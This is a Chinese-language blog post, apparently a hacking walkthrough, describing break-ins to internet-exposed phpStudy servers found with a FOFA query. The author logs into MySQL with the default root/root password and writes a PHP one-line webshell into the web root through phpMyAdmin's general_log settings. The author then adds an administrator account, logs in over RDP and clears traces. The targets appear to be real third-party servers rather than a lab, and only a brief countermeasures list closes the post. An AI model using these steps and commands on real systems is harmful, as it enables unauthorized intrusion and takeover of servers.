前期准备
首先信息收集一波确认目标,:fofa: body="phpstudy探针" && title="phpStudy 探针 2014"
找几个心仪的目标下手,打开的页面是这样的
正文
记住这个绝对路径,后面用得上,然后页面拉到最后,使用弱口令对MySQL数据库连接进行检测。一般phpstudy默认配置的mysql账号密码为root/root,直接使用这个去尝试登录。
但是这种命中率五五开吧,这个不行,就换一个吧,毕竟这个测试,开头还是需要弱口令进去,或者自己也可以跑字典做其他的尝试,显示这样“连接到MySql数据库正常”就是可以的。
接着,直接访问phpmyadmin,例如:http://ip:80/phpmyadmin 然后输入账号密码登录。
然后利用log日志写入一句话进去,然后再要进一步利用,提权等。一般涉及到两个地方general_log、general_log_file
1、然后可以通过SQL指令来操作
show variables like 'general_log'; -- 查看日志是否开启
set global general_log=on; -- 开启日志功能
show variables like 'general_log_file'; -- 看看日志文件保存位置
set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置
show variables like 'log_output'; -- 看看日志输出类型 table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file'; -- 设置输出类型为file
主要是开启日志功能,以及设置日志存放的位置,为了方便,我一般存放在根目录下,前面让记住的路径现在就用得到了。
查看日志是否开启。
show variables like 'general_log';
开启日志功能。
set global general_log=on;
修改日志保存路径文件,注意要准确到文件名。
set global general_log_file=' D:/WWW/test.php'; //根据实际情况来定。
2、更简单一点的方法,在变量处,找到general_log、general_log_file,然后general_log改成ON、general_log_file改为网站根目录下的文件名。
然后通过日志来写入一句话:
SELECT'<?php assert($_POST["cmd"]);?>';
然后现在可以通过打狗菜刀或者其他软件连接上去(连接路径为日志文件存放的文件位置)。
菜刀连接上去之后,就可以进一步操作了。
在打狗菜刀上面又虚拟终端这个功能,我可以直接尝试执行CMD命令。好家伙,直接是system权限(这里也是复现的时候遇到的,前面遇到的是administrator权限的。
whoami //查看当前用户。
贴出来看看(凑字数显得牛逼点)。
然后尝试添加新用户,密码不满足策略,这个简单,自己领悟。
net user 用户名 密码 /add //添加新用户。
然后把该用户提升为管理员权限,system权限,没有太大的问题,如果这里遇到拦路狗,或者其他杀软,请参考我前面的文章,怎么K狗的。
net localgroup administrators 用户名 /add //把用户提升为管理员权限。
然后查看有没有开启远程桌面服务。
tasklist /svc | findstr TermService //查看远程桌面服务信息。
然后查看服务在哪个端口。
netstat -ano | findstr **** //查看进程号端口情况。
好家伙,3389,白折腾。直接尝试远程桌面登录上去看看。
成功登录上去,简单看了一下,现在的的服务器不值钱吗,承认看到这里,我酸了。
然后看了一下磁盘里面的东西,感觉有点像赌博、菠菜的源码。
后面到这里差不多结束了,清除痕迹,擦擦屁股走人。
防范措施:
- 像l.php这样的文件环境调试好可以删除,或者重新定义网站的默认路径等
- 数据库的密码使用强密码,毕竟开局弱口令
- 用户权限,日志文件的权限等
总结
弱口令通常不能这么简单利用,但是一旦被利用,也是危害很高的。密码要常改,还要使用强密码,不要使用默认密码、弱口令。能登陆上phpmyadmin之后,其实还需要判断版本等信息,除了通过这个日志来写入一句话,相信还有其他方法。可以做一下尝试。